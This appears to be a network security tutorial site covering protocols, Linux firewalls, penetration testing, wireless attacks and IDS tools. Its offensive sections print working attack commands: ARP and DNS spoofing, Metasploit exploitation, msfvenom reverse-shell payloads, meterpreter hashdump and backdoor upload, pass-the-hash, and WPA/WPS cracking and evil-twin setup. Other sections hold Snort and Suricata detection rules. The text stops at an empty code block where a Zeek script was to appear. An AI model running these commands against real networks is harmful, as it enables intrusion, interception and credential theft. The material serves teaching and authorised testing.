Comprehensive Network Security Documentation

Network Security

From networking fundamentals and protocol analysis to firewalls, penetration testing, IDS/IPS, VPNs, and cryptography. This documentation covers everything you need to master network security — with practical examples, deep explanations, and best practices.

1 Introduction to Network Security

What is network security and why does it matter?

Network security is the practice of protecting computer networks from unauthorized access, misuse, modification, or denial of service. It encompasses a broad range of technologies, processes, and policies designed to safeguard the integrity, confidentiality, and availability of network resources and data.

The CIA Triad

The foundation of all information security rests on three core principles:

  • Confidentiality: Ensuring that information is accessible only to those authorized to have access. Encryption, access controls, and authentication mechanisms enforce confidentiality.
  • Integrity: Maintaining the accuracy and completeness of data over its entire lifecycle. Hashing, digital signatures, and version control protect integrity.
  • Availability: Ensuring that systems and data are accessible when needed. Redundancy, load balancing, and DDoS mitigation maintain availability.

Key Security Domains

DomainFocusKey Technologies
Perimeter SecurityControlling network boundariesFirewalls, IDS/IPS, VPNs
Endpoint SecurityProtecting individual devicesEDR, AV, host firewalls
Application SecuritySecuring software and web appsWAF, SAST/DAST, code review
Data SecurityProtecting data at rest and in transitEncryption, DLP, tokenization
Identity & AccessControlling who can access whatIAM, SSO, MFA, RBAC
Cloud SecuritySecuring cloud infrastructureCSPM, CASB, CNAPP
Note: The perimeter-based "castle-and-moat" model is being replaced by Zero Trust — a model that assumes no trust by default, regardless of whether a connection originates inside or outside the network.

2 OSI Model

The seven-layer reference model for network communication

The Open Systems Interconnection (OSI) model provides a conceptual framework for understanding how data moves across a network. Each layer has specific functions and protocols, and understanding them is essential for both network administration and security analysis.

LayerNameFunctionProtocols/DevicesSecurity Relevance
7ApplicationUser-facing network servicesHTTP, FTP, DNS, SMTPInput validation, authentication, WAF
6PresentationData translation, encryptionSSL/TLS, JPEG, ASCIIEncryption at the session layer
5SessionSession managementNetBIOS, RPCSession hijacking prevention
4TransportEnd-to-end deliveryTCP, UDPPort scanning, SYN floods
3NetworkLogical addressing, routingIP, ICMP, OSPF, BGPIP spoofing, routing attacks
2Data LinkPhysical addressing, framingEthernet, ARP, MACARP poisoning, MAC flooding
1PhysicalRaw bit transmissionCables, hubs, radioPhysical access control, TEMPEST

Encapsulation & Decapsulation

As data travels down the OSI stack, each layer adds a header (and sometimes a trailer). At the receiving end, each layer strips its corresponding header and passes the payload up. Understanding this process is crucial for packet analysis with tools like Wireshark.

concept
Data Flow (Sender -> Receiver):
concept
Layer 7: Application Data
concept
Layer 6: [Presentation Header] + Application Data
concept
Layer 5: [Session Header] + [Presentation Header] + Data
concept
Layer 4: [TCP Header] + [Session Header] + ... -> Segment
concept
Layer 3: [IP Header] + [TCP Header] + ... -> Packet
concept
Layer 2: [Ethernet Header] + [IP Header] + ... + [Ethernet Trailer] -> Frame
concept
Layer 1: Bits on the wire

3 TCP/IP Stack

The practical four-layer model that powers the internet

While the OSI model is conceptual, the TCP/IP model (also called the Internet Protocol Suite) is the practical implementation that runs the internet. It maps roughly to OSI layers but collapses some for simplicity.

Layer Comparison

TCP/IP LayerOSI EquivalentKey Protocols
ApplicationLayers 5-7HTTP, HTTPS, DNS, SSH, FTP, SMTP
TransportLayer 4TCP, UDP
InternetLayer 3IP, ICMP, ARP, IGMP
Network AccessLayers 1-2Ethernet, Wi-Fi, PPP

TCP vs UDP

FeatureTCPUDP
ConnectionConnection-oriented (3-way handshake)Connectionless
ReliabilityGuaranteed delivery, retransmissionBest-effort, no guarantee
OrderingIn-order deliveryNo ordering
SpeedSlower (overhead)Faster (minimal overhead)
Use CasesHTTP, SSH, FTP, emailDNS, VoIP, streaming, gaming
Security RiskSYN floods, session hijackingAmplification attacks, spoofing

TCP Three-Way Handshake

Before any data flows, TCP establishes a reliable connection with three packets: a SYN, a SYN-ACK, and an ACK. Closing a connection is a similar four-step exchange (FIN → ACK → FIN → ACK).

tcp
Client Server | SYN (seq=x) | | ----------------------> | | SYN-ACK (seq=y, ack=x+1) | | <---------------------- | | ACK (ack=y+1) | | ----------------------> | | | | Connection established |
Attack Vector: The SYN flood attack exploits the 3-way handshake by sending SYN packets without completing the handshake, exhausting the server's connection queue. Mitigation includes SYN cookies and connection rate limiting.

4 Network Protocols

Essential protocols and their security implications

ARP (Address Resolution Protocol)

ARP maps IP addresses to MAC addresses on a local network. It's a stateless, trustless protocol with no authentication — making it vulnerable to poisoning attacks.

View ARP cache.

bash
arp -a
bash
ip neigh

ARP poisoning with arpspoof (Ettercap suite)

Redirect traffic between victim and gateway through attacker.

bash
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
bash
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10

Enable IP forwarding to act as a man-in-the-middle.

bash
echo 1 > /proc/sys/net/ipv4/ip_forward

Defense: Static ARP entries.

bash
arp -s 192.168.1.1 00:11:22:33:44:55

Defense: Dynamic ARP Inspection (DAI) on switches.

Validates ARP packets against a trusted database.

DNS (Domain Name System)

DNS translates human-readable domain names to IP addresses. It's a critical attack surface due to its hierarchical, distributed nature.

DNS query tools.

bash
dig example.com
bash
dig @8.8.8.8 example.com MX
bash
dig +trace example.com
bash
nslookup example.com
bash
host example.com

DNS enumeration with dnsenum.

bash
dnsenum example.com

DNS spoofing with dnsspoof.

bash
dnsspoof -i eth0 -f spoofhosts.conf

Defense: DNSSEC (DNS Security Extensions)

Adds cryptographic signatures to DNS records.

bash
dig +dnssec example.com DNSKEY

ICMP (Internet Control Message Protocol)

ICMP is used for error reporting and diagnostic functions. While essential for network troubleshooting, it can be abused for reconnaissance and attacks.

Basic ping.

bash
ping -c 4 8.8.8.8

ICMP-based attacks.

Smurf attack: Send ICMP echo to broadcast, spoof victim source.

ICMP redirect: Redirect traffic through attacker.

Ping of Death: Oversized ICMP packet causing crash.

Defense: Rate limit ICMP.

bash
iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/second -j ACCEPT
bash
iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

5 Firewall Concepts

Understanding network traffic filtering

A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on an organization's previously established security policies. Firewalls can be hardware, software, or cloud-based.

Types of Firewalls

TypeLayerHow It WorksPros & Cons
Packet FilterLayer 3/4Inspects IP/TCP/UDP headersFast, simple; no payload inspection
Stateful InspectionLayer 3/4Tracks connection stateMore secure; moderate performance
Application (Proxy)Layer 7Intercepts and inspects app trafficDeep inspection; slower
NGFW/UTMLayer 3-7Deep packet inspection + IPS + AVComprehensive; expensive
Cloud/VirtualAll layersSoftware-defined, scalableFlexible; depends on provider

Firewall Rules Best Practices

  • Default Deny: Block everything by default, explicitly allow only necessary traffic
  • Least Privilege: Allow only the minimum required access
  • Log Everything: Log both allowed and denied traffic for analysis
  • Regular Review: Audit rules periodically and remove obsolete ones
  • Segment Networks: Use VLANs and separate security zones
Tip: A well-configured firewall is your first line of defense, but it's not enough on its own. Defense in depth requires multiple security layers working together.

6 iptables

The classic Linux firewall framework

iptables is the userspace command-line program used to configure the Linux kernel's netfilter firewall. It operates on tables (filter, nat, mangle, raw) containing chains of rules.

Tables and Chains

TablePurposeChains
filterPacket filtering (default)INPUT, FORWARD, OUTPUT
natNetwork Address TranslationPREROUTING, POSTROUTING, OUTPUT
manglePacket modificationAll chains
rawConnection tracking exemptionPREROUTING, OUTPUT

Common iptables Commands

List all rules with line numbers and verbose output.

bash
iptables -L -n -v --line-numbers

Default policy: DROP everything.

bash
iptables -P INPUT DROP
bash
iptables -P FORWARD DROP
bash
iptables -P OUTPUT ACCEPT

Allow established connections.

bash
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

Allow loopback.

bash
iptables -A INPUT -i lo -j ACCEPT

Allow SSH (rate limited to prevent brute force)

bash
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
bash
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
bash
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

Allow HTTP and HTTPS.

bash
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
bash
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

Block a specific IP.

bash
iptables -A INPUT -s 192.168.1.100 -j DROP

Log and drop suspicious traffic.

bash
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j LOG --log-prefix "NULL SCAN: "
bash
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP

Save rules (Debian/Ubuntu)

bash
iptables-save > /etc/iptables/rules.v4

Restore.

bash
iptables-restore < /etc/iptables/rules.v4
Warning: Setting -P INPUT DROP before adding ACCEPT rules for your current SSH session will lock you out. Always test firewall rules in a safe environment first.

7 nftables

The modern replacement for iptables

nftables is the successor to iptables, providing a unified framework for packet filtering, NAT, and packet mangling. It uses a more expressive syntax and better performance.

bash
nft list ruleset

Prints the currently active ruleset.

A basic firewall policy can be loaded in one shot by piping it into nft -f - as a heredoc. This example accepts loopback and established traffic, rate-limits new SSH connections, allows HTTP/HTTPS, and logs everything else it drops.

bash
nft -f - <flush ruleset table inet filter { chain input { type filter hook input priority 0; policy drop; iif "lo" accept ct state established,related accept tcp dport 22 ct state new limit rate 4/minute accept tcp dport { 80, 443 } accept log prefix "DROP: " drop } chain forward { type filter hook forward priority 0; policy drop; } chain output { type filter hook output priority 0; policy accept; } } EOF

Persist the ruleset to disk and enable it at boot.

bash
nft list ruleset > /etc/nftables.conf

Saves the running ruleset so it can be reloaded later.

bash
systemctl enable nftables

Loads the saved ruleset automatically on every boot.

Tip: nftables supports sets and maps for efficient matching against large collections of IPs, ports, or protocols — much more performant than individual iptables rules.

8 firewalld

Dynamic firewall management for RHEL-based systems

firewalld provides a dynamically managed firewall with support for network/firewall zones. It uses nftables (or iptables) as the backend but offers a higher-level, zone-based abstraction.

Check status.

bash
firewall-cmd --state

List active zones and their settings.

bash
firewall-cmd --get-active-zones
bash
firewall-cmd --zone=public --list-all

List available services.

bash
firewall-cmd --get-services

Add a service permanently.

bash
firewall-cmd --permanent --zone=public --add-service=http
bash
firewall-cmd --permanent --zone=public --add-service=https
bash
firewall-cmd --reload

Add a custom port.

bash
firewall-cmd --permanent --zone=public --add-port=8080/tcp
bash
firewall-cmd --reload

Rich rules (more granular control)

bash
firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" service name="ssh" accept'

Block an IP.

bash
firewall-cmd --permanent --zone=public --add-rich-rule='rule family="ipv4" source address="10.0.0.5" reject'

Rate limiting (similar to fail2ban)

bash
firewall-cmd --permanent --add-rich-rule='rule service name=ssh limit value=3/m accept'

IP masquerading (NAT)

bash
firewall-cmd --permanent --zone=public --add-masquerade

firewalld Zones

ZoneTrust LevelUse Case
dropUntrustedDrop all incoming, no reply
blockUntrustedReject all with ICMP error
publicUntrustedPublic Wi-Fi, untrusted networks
externalUntrustedExternal network with masquerading
dmzPartially trustedPublicly accessible servers
workPartially trustedWork environment
homeTrustedHome network
internalTrustedInternal corporate network
trustedFully trustedAccept all connections

9 UFW (Uncomplicated Firewall)

User-friendly firewall for Debian/Ubuntu

ufw is a front-end for iptables designed to simplify firewall configuration. It's the recommended firewall tool for beginners on Ubuntu and Debian systems.

Enable UFW.

bash
ufw enable

Default policies.

bash
ufw default deny incoming
bash
ufw default allow outgoing

Allow SSH (critical — do this first to avoid lockout!)

bash
ufw allow ssh
bash
ufw allow 22/tcp

Allow specific services.

bash
ufw allow http
bash
ufw allow https
bash
ufw allow 8080/tcp

Allow from specific IP.

bash
ufw allow from 192.168.1.0/24
bash
ufw allow from 192.168.1.50 to any port 3306

Deny specific IP.

bash
ufw deny from 10.0.0.100

Limit connection rate (brute force protection)

bash
ufw limit ssh
bash
ufw limit 22/tcp

Delete a rule.

bash
ufw delete allow http

Or by number:

bash
ufw status numbered
bash
ufw delete 3

View status.

bash
ufw status verbose
bash
ufw status numbered
Note: UFW generates iptables rules behind the scenes. You can view the raw rules with iptables -L -v -n to understand what UFW is actually doing.

10 Penetration Testing Basics

Methodical approach to finding and exploiting vulnerabilities

Penetration testing (pen testing or ethical hacking) is the practice of testing a computer system, network, or web application to find security vulnerabilities that an attacker could exploit. It's a critical component of a comprehensive security program.

Types of Penetration Tests

TypeKnowledge LevelUse Case
Black BoxNo prior knowledgeSimulates external attacker
Gray BoxLimited knowledge (user creds)Simulates insider threat
White BoxFull knowledge (source code, architecture)Comprehensive audit
Red TeamAdversarial simulationTests detection and response
Purple TeamCollaborative attack/defenseImproves both sides

Penetration Testing Methodology

  1. Planning & Scoping: Define objectives, scope, rules of engagement, and legal authorization
  2. Reconnaissance: Gather information about the target (passive and active)
  3. Scanning & Enumeration: Identify live hosts, open ports, services, and vulnerabilities
  4. Vulnerability Analysis: Assess findings and identify exploitable weaknesses
  5. Exploitation: Attempt to gain unauthorized access using identified vulnerabilities
  6. Post-Exploitation: Determine value of compromised asset, maintain access, pivot
  7. Reporting: Document findings with evidence, risk ratings, and remediation steps
Legal Warning: Never perform penetration testing without explicit written authorization. Unauthorized access to computer systems is a criminal offense in most jurisdictions (e.g., CFAA in the US, Computer Misuse Act in the UK).

11 Reconnaissance

Information gathering — the foundation of every attack

Reconnaissance (recon) is the process of gathering information about a target before attempting to exploit it. The more you know, the more effective your attack will be. Recon is divided into passive (no direct interaction) and active (direct interaction) techniques.

Passive Reconnaissance

WHOIS lookup.

bash
whois example.com

DNS enumeration.

bash
dig example.com ANY
bash
dig @ns1.example.com example.com axfr

Zone transfer attempt.

Subdomain enumeration.

bash
sublist3r -d example.com
bash
amass enum -d example.com
bash
gobuster dns -d example.com -w /usr/share/wordlists/dns.txt

OSINT with theHarvester.

bash
theHarvester -d example.com -b all

Shodan search (requires API key)

bash
shodan search apache

Google dorking.

Site:example.com filetype:pdf.

Site:example.com inurl:admin.

Intitle:"index of" "config.json".

Social media and employee enumeration.

LinkedIn, GitHub, Twitter for employee info, tech stack.

Active Reconnaissance

Ping sweep to find live hosts.

bash
nmap -sn 192.168.1.0/24

ARP scan (local network only)

bash
arp-scan -l

Traceroute.

bash
traceroute example.com
bash
mtr example.com

Continuous traceroute.

Banner grabbing.

bash
nc -v example.com 80
bash
telnet example.com 22

SSL/TLS certificate inspection.

bash
openssl s_client -connect example.com:443
bash
sslscan example.com
bash
testssl.sh example.com

12 Scanning & Enumeration

Identifying live systems, open ports, and services

Scanning identifies live hosts and open ports. Enumeration extracts detailed information about services, users, shares, and configurations. These are the most critical phases of a penetration test.

Nmap — The Network Mapper

Basic port scan.

bash
nmap 192.168.1.1

Scan all ports.

bash
nmap -p- 192.168.1.1

Service version detection.

bash
nmap -sV 192.168.1.1

OS detection.

bash
nmap -O 192.168.1.1

Aggressive scan (OS + version + scripts + traceroute)

bash
nmap -A 192.168.1.1

Stealth SYN scan (doesn't complete TCP handshake)

bash
nmap -sS 192.168.1.1

UDP scan.

bash
nmap -sU 192.168.1.1

Scan with NSE scripts.

bash
nmap --script vuln 192.168.1.1
bash
nmap --script smb-enum-shares 192.168.1.1
bash
nmap --script http-enum 192.168.1.1

Output formats.

bash
nmap -oA scan_results 192.168.1.1

Normal, XML, and grepable.

Scan a network range.

bash
nmap 192.168.1.0/24

Timing templates (T0 = paranoid, T5 = insane)

bash
nmap -T4 -sS -p- 192.168.1.1

Enumeration Techniques

SMB enumeration.

bash
enum4linux -a 192.168.1.10
bash
smbclient -L //192.168.1.10
bash
rpcclient -U "" 192.168.1.10

SNMP enumeration.

bash
snmpwalk -c public -v1 192.168.1.10
bash
onesixtyone -c community.txt 192.168.1.0/24

DNS enumeration.

bash
dnsenum example.com
bash
fierce --domain example.com

Web enumeration.

bash
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
bash
dirb http://example.com
bash
nikto -h http://example.com

LDAP enumeration.

bash
ldapsearch -x -H ldap://192.168.1.10 -b "dc=example,dc=com"

SMTP enumeration.

bash
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.10

13 Exploitation

Leveraging vulnerabilities to gain access

Exploitation is the phase where you attempt to compromise a target using the vulnerabilities identified during scanning and enumeration. This requires careful judgment — always stay within the agreed scope.

Common Exploitation Vectors

  • Remote Code Execution (RCE): Execute arbitrary commands on a remote system
  • Local Privilege Escalation: Gain elevated privileges on a compromised system
  • SQL Injection: Inject malicious SQL through input fields
  • Command Injection: Execute OS commands through application inputs
  • File Upload Vulnerabilities: Upload and execute malicious files
  • Authentication Bypass: Circumvent login mechanisms
  • Deserialization Attacks: Exploit insecure deserialization

Metasploit Framework

Start Metasploit.

bash
msfconsole

Search for exploits.

bash
msf6 > search type:exploit name:apache
bash
msf6 > search cve:2024 platform:linux

Use an exploit.

bash
msf6 > use exploit/multi/http/apache_normalize_path_rce
bash
msf6 > show options
bash
msf6 > set RHOSTS 192.168.1.10
bash
msf6 > set LHOST 192.168.1.5
bash
msf6 > set LPORT 4444
bash
msf6 > exploit

Meterpreter commands (post-exploitation)

bash
meterpreter > sysinfo
bash
meterpreter > getuid
bash
meterpreter > ps
bash
meterpreter > shell
bash
meterpreter > download /etc/passwd
bash
meterpreter > upload backdoor.sh /tmp/
bash
meterpreter > hashdump

Background session and pivot.

bash
meterpreter > background
bash
msf6 > sessions -l
bash
msf6 > sessions -i 1

Generate payloads.

bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o payload.elf
bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o payload.exe
bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
Ethical Boundary: Exploitation should only proceed with proper authorization. Document every action, and never access data beyond what's needed to prove the vulnerability. Report findings responsibly.

14 Post-Exploitation

Maintaining access, escalating privileges, and covering tracks

Once initial access is gained, post-exploitation activities determine the true impact of the compromise. This phase includes privilege escalation, lateral movement, data exfiltration simulation, and persistence.

Privilege Escalation

Linux privilege escalation enumeration.

Automated tools:

bash
linpeas.sh

Linux Privilege Escalation Awesome Script.

bash
linenum.sh

Linux enumeration script.

bash
unix-privesc-check

Manual checks:

bash
sudo -l

List sudo privileges.

bash
find / -perm -4000 -type f 2>/dev/null

SUID binaries.

bash
find / -perm -2000 -type f 2>/dev/null

SGID binaries.

bash
cat /etc/crontab

Cron jobs.

bash
cat /etc/passwd | grep sh$

Users with shells.

bash
uname -a

Kernel version (exploits?)

bash
ps aux

Running processes.

bash
netstat -tulpn

Listening services.

Common privilege escalation vectors:

- SUID binaries (nmap, vim, less, etc.)

- Writable /etc/passwd or /etc/sudoers.

- Kernel exploits.

- Cron jobs with writable scripts.

- PATH manipulation.

- Docker container escape.

- Sudo misconfigurations.

Lateral Movement

Pass-the-hash (Windows)

bash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:hash //192.168.1.20 cmd

SSH key pivoting.

bash
ssh -i id_rsa user@pivot-host

Then scan internal network from pivot.

bash
nmap -sT 10.0.0.0/24

Proxychains for routing through compromised host.

In /etc/proxychains.conf:

Socks5 127.0.0.1 1080.

bash
proxychains nmap -sT 10.0.0.0/24

SSH dynamic port forwarding.

bash
ssh -D 1080 -i id_rsa user@compromised-host

BloodHound (Active Directory attack paths)

bash
bloodhound-python -d example.com -u user -p password -c All

Then analyze with BloodHound GUI.

Persistence Techniques

  • Backdoor accounts: Create hidden user accounts or modify existing ones
  • Cron jobs: Schedule recurring malicious tasks
  • SSH keys: Add attacker public keys to authorized_keys
  • Systemd services: Create persistent services that run on boot
  • LD_PRELOAD: Hijack shared library loading
  • Rootkits: Kernel-level or user-level code that hides presence
  • Web shells: PHP/ASP/JSP scripts for remote access

15 Wireless Standards

IEEE 802.11 family and wireless networking fundamentals

Wireless networks (Wi-Fi) operate under the IEEE 802.11 standards. Understanding these standards, their frequencies, and their security mechanisms is essential for both securing and testing wireless networks.

StandardFrequencyMax SpeedNotes
802.11b2.4 GHz11 MbpsLegacy, widely supported
802.11a5 GHz54 MbpsLess interference
802.11g2.4 GHz54 MbpsBackward compatible with b
802.11n2.4/5 GHz600 MbpsMIMO support
802.11ac5 GHz3.5 GbpsWave 1 & 2
802.11ax (Wi-Fi 6)2.4/5 GHz9.6 GbpsOFDMA, better efficiency
802.11be (Wi-Fi 7)2.4/5/6 GHz46 Gbps320 MHz channels

Wireless Modes

  • Infrastructure Mode: Devices connect through an Access Point (AP) — most common
  • Ad-hoc Mode: Devices connect directly to each other without an AP
  • Monitor Mode: Captures all wireless traffic in range, not just frames addressed to the adapter
  • Master Mode (AP): The adapter acts as an access point

Check wireless interface.

bash
iwconfig
bash
ip link show

Enable monitor mode (requires compatible adapter)

bash
airmon-ng check kill

Kill interfering processes.

bash
airmon-ng start wlan0

Creates wlan0mon interface.

Scan for wireless networks.

bash
airodump-ng wlan0mon

Detailed scan on specific channel.

bash
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

16 WEP & WPA Security

Evolution of wireless encryption and authentication

Wireless security has evolved significantly over the years. Understanding the weaknesses of older protocols and the strengths of modern ones is critical for securing wireless networks.

ProtocolEncryptionAuthenticationSecurity Status
WEPRC4 (40/104-bit)Shared keyBroken — crackable in minutes
WPATKIP/RC4PSK or 802.1XDeprecated — vulnerable
WPA2-PersonalAES-CCMPPSK (4-way handshake)Vulnerable to KRACK, but generally secure
WPA2-EnterpriseAES-CCMP802.1X/RADIUSSecure when properly configured
WPA3-PersonalAES-CCMP/GCMPSAE (Simultaneous Authentication of Equals)Current standard — most secure
WPA3-EnterpriseAES-CCMP/GCMP802.1X + 192-bit modeHighest security for enterprises

4-Way Handshake

The WPA2 4-way handshake is used to derive the Pairwise Transient Key (PTK) from the Pairwise Master Key (PMK). Capturing this handshake is the basis for offline password cracking attacks.

Capture WPA handshake.

bash
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

Deauthenticate a client to force reconnection (capture handshake)

bash
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

Crack with aircrack-ng (dictionary attack)

bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake-01.cap

Crack with hashcat (GPU-accelerated)

bash
hcxpcapngtool -o hash.hc22000 handshake-01.cap
bash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

WPA3 downgrade attack (Dragonblood)

Forces WPA3 to downgrade to WPA2, then perform standard attack.

Requires specific tools and vulnerable implementations.

Important: Only test wireless security on networks you own or have explicit written permission to test. Unauthorized access to wireless networks is illegal under laws like the Computer Fraud and Abuse Act (CFAA).

17 Wireless Attacks

Common attack vectors against wireless networks

Attack Types

  • Evil Twin / Rogue AP: Create a fake access point with the same SSID as a legitimate one to capture credentials
  • Deauthentication Attack: Flood deauth frames to disconnect clients, forcing them to reconnect (and reveal handshake)
  • WPS Attack: Exploit the Wi-Fi Protected Setup PIN to recover the WPA key
  • KARMA Attack: Respond to all probe requests with fake networks
  • PMKID Attack: Capture the PMKID from RSN IE without needing a full 4-way handshake
  • Fragmentation Attack: Inject packets by exploiting weak IVs

WPS PIN attack with Reaver.

bash
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

PMKID attack (no client needed!)

bash
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
bash
hcxpcapngtool -o hash.hc22000 -E wordlist capture.pcapng
bash
hashcat -m 22000 hash.hc22000 wordlist

Evil Twin with Wifiphisher.

bash
wifiphisher -aI wlan0 -eI wlan1 -p firmware-upgrade

Create rogue AP with hostapd.

/etc/hostapd/hostapd.conf:

bash
interface=wlan0
bash
driver=nl80211
bash
ssid="FreeWiFi"
bash
channel=6
bash
wpa=2
bash
wpa_passphrase="password123"
bash
wpa_key_mgmt=WPA-PSK
bash
rsn_pairwise=CCMP
bash
hostapd /etc/hostapd/hostapd.conf

18 Wireless Defense

Securing wireless networks against common attacks

Best Practices

  • Use WPA3: Deploy WPA3-Personal or WPA3-Enterprise wherever possible
  • Strong Passphrases: Use long (20+ character), random passphrases for WPA2-PSK
  • Disable WPS: WPS is vulnerable to brute-force attacks — disable it entirely
  • Network Segmentation: Isolate guest networks from corporate networks
  • Hidden SSID: Provides minimal security but reduces casual discovery
  • MAC Filtering: Whitelist allowed MAC addresses (bypassable but adds layer)
  • Regular Monitoring: Use WIDS (Wireless IDS) to detect rogue APs
  • Enterprise Authentication: Use 802.1X/RADIUS instead of PSK for corporate networks

Detect rogue APs with Kismet.

bash
kismet -c wlan0mon

Check for unauthorized clients on your network.

bash
airodump-ng --bssid YOUR:AP:MAC -c 6 wlan0mon

Verify no WPS is enabled.

bash
wash -i wlan0mon

Lists WPS-enabled networks.

Tip: For enterprise environments, implement 802.1X with EAP-TLS (certificate-based authentication) rather than EAP-PEAP or EAP-TTLS, which are vulnerable to credential relay attacks.

19 IDS/IPS Concepts

Detecting and preventing intrusions in real-time

Intrusion Detection Systems (IDS) monitor network traffic for suspicious activity and alert administrators. Intrusion Prevention Systems (IPS) go a step further by automatically blocking detected threats.

Types of Detection

TypeHow It WorksProsCons
Signature-BasedMatches traffic against known attack patternsLow false positives, fastCan't detect zero-days
Anomaly-BasedLearns normal behavior, flags deviationsDetects unknown attacksHigher false positives
HeuristicUses algorithms to identify suspicious behaviorAdapts to new threatsComplex tuning required
BehavioralTracks entity behavior over timeDetects slow attacksRequires baseline period

Deployment Modes

  • Network-based (NIDS/NIPS): Monitors network traffic, typically deployed at network boundaries or critical segments
  • Host-based (HIDS/HIPS): Monitors individual hosts for file changes, process anomalies, and system calls
  • Hybrid: Combines both approaches for comprehensive coverage

IDS/IPS Placement

network
Internet | v [Firewall] ----> [NIDS/IPS] ----> [Internal Network] | | | +---> [DMZ Segment] | +---> [Critical Assets Segment] | v [Web Servers] [HIDS on each server]

20 Snort

The de facto standard open-source IDS/IPS

Snort is an open-source network intrusion detection and prevention system developed by Cisco. It uses a rule-based language to detect malicious network activity and can operate in sniffer, packet logger, or NIDS/NIPS mode.

Install Snort.

bash
apt install snort

Check Snort version and build info.

bash
snort -V

Test configuration.

bash
snort -T -c /etc/snort/snort.conf

Run Snort in IDS mode.

bash
snort -c /etc/snort/snort.conf -i eth0

Run Snort in packet logger mode.

bash
snort -l /var/log/snort -b -i eth0

Run Snort in IPS mode (inline)

bash
snort -Q --daq afpacket -c /etc/snort/snort.conf -i eth0:eth1

Update rules with PulledPork.

bash
pulledpork -c /etc/snort/pulledpork.conf

View alerts.

bash
tail -f /var/log/snort/alert
bash
snort -r /var/log/snort/snort.log

Writing Snort Rules

Snort rule syntax:

Action protocol src_ip src_port -> dst_ip dst_port (msg:"..."; content:"..."; sid:...; rev:...;)

Detect SQL injection attempt.

snort
alert tcp any any -> any 80 (msg:"SQL Injection Attempt Detected"; content:"union select"; nocase; sid:1000001; rev:1;)

Detect port scan (SYN flood)

snort
alert tcp any any -> $HOME_NET any (msg:"Port Scan Detected"; flags:S; threshold: type both, track by_src, count 50, seconds 60; sid:1000002; rev:1;)

Detect SSH brute force.

snort
alert tcp any any -> $HOME_NET 22 (msg:"SSH Brute Force Attempt"; flow:to_server,established; content:"SSH-"; threshold: type both, track by_src, count 5, seconds 60; sid:1000003; rev:1;)

21 Suricata

High-performance network IDS/IPS and NSM engine

Suricata is a high-performance Network IDS, IPS, and Network Security Monitoring engine. It is multi-threaded, supports GPU acceleration, and can process multiple gigabits of traffic per second. Suricata is compatible with Snort rules while offering additional features.

Install Suricata.

bash
apt install suricata

Update rules with Suricata-Update.

bash
suricata-update
bash
suricata-update list-sources
bash
suricata-update enable-source et/open
bash
suricata-update

Test configuration.

bash
suricata -T -c /etc/suricata/suricata.yaml

Run Suricata in IDS mode.

bash
suricata -c /etc/suricata/suricata.yaml -i eth0

Run Suricata in IPS mode (inline with NFQUEUE)

bash
suricata -c /etc/suricata/suricata.yaml -q 0

Process a PCAP file.

bash
suricata -r capture.pcap -c /etc/suricata/suricata.yaml

View alerts.

bash
tail -f /var/log/suricata/fast.log
bash
cat /var/log/suricata/eve.json | jq '.'

Generate stats.

bash
suricatasc -c dump-counters

Suricata Features Beyond Snort

  • Multi-threading: Native multi-threaded architecture for better performance
  • Automatic Protocol Detection: Identifies protocols on any port
  • File Extraction: Automatically extracts files from network traffic
  • TLS/SSL Inspection: Deep analysis of encrypted traffic metadata
  • HTTP Analysis: Full HTTP request/response logging
  • Lua Scripting: Custom detection logic with Lua scripts

Suricata rule with file extraction.

suricata
alert http any any -> any any (msg:"EXE Download Detected"; file.name; content:".exe"; file.store; sid:2000001; rev:1;)

TLS fingerprinting rule.

suricata
alert tls any any -> any any (msg:"Suspicious JA3 Fingerprint"; ja3.hash; content:"e7d705a00be9e9d5a7e9d5a7e9d5a7e9"; sid:2000002; rev:1;)

22 Zeek (formerly Bro)

Powerful network analysis framework

Zeek is a passive, open-source network traffic analyzer. Unlike traditional IDS systems that focus on signature matching, Zeek extracts high-level semantic information from network traffic, producing detailed logs for security monitoring and forensics.

Install Zeek, then point it at either a live interface or a saved capture.

bash
apt install zeek
bash
zeek -i eth0

Runs Zeek live on interface eth0.

bash
zeek -r capture.pcap

Processes an existing PCAP file instead of live traffic.

Zeek writes its findings to a set of plain-text logs; zeek-cut pulls out just the fields you care about.

bash
ls *.log

Lists every log file Zeek generated for the session.

bash
cat conn.log | zeek-cut id.orig_h id.resp_h service

Source, destination, and service for every connection.

bash
cat http.log | zeek-cut host uri status_code

Requested host, URI, and response code for HTTP traffic.

bash
cat dns.log | zeek-cut query answers

Every DNS query and the answers it received.

bash
cat ssl.log | zeek-cut server_name ja3

TLS server name and JA3 fingerprint for encrypted sessions.

Zeek scripts (Zeek's own event-driven language) can act on that traffic in real time. This one flags a host after five failed SSH logins — save it as ssh-bruteforce.zeek.

bash
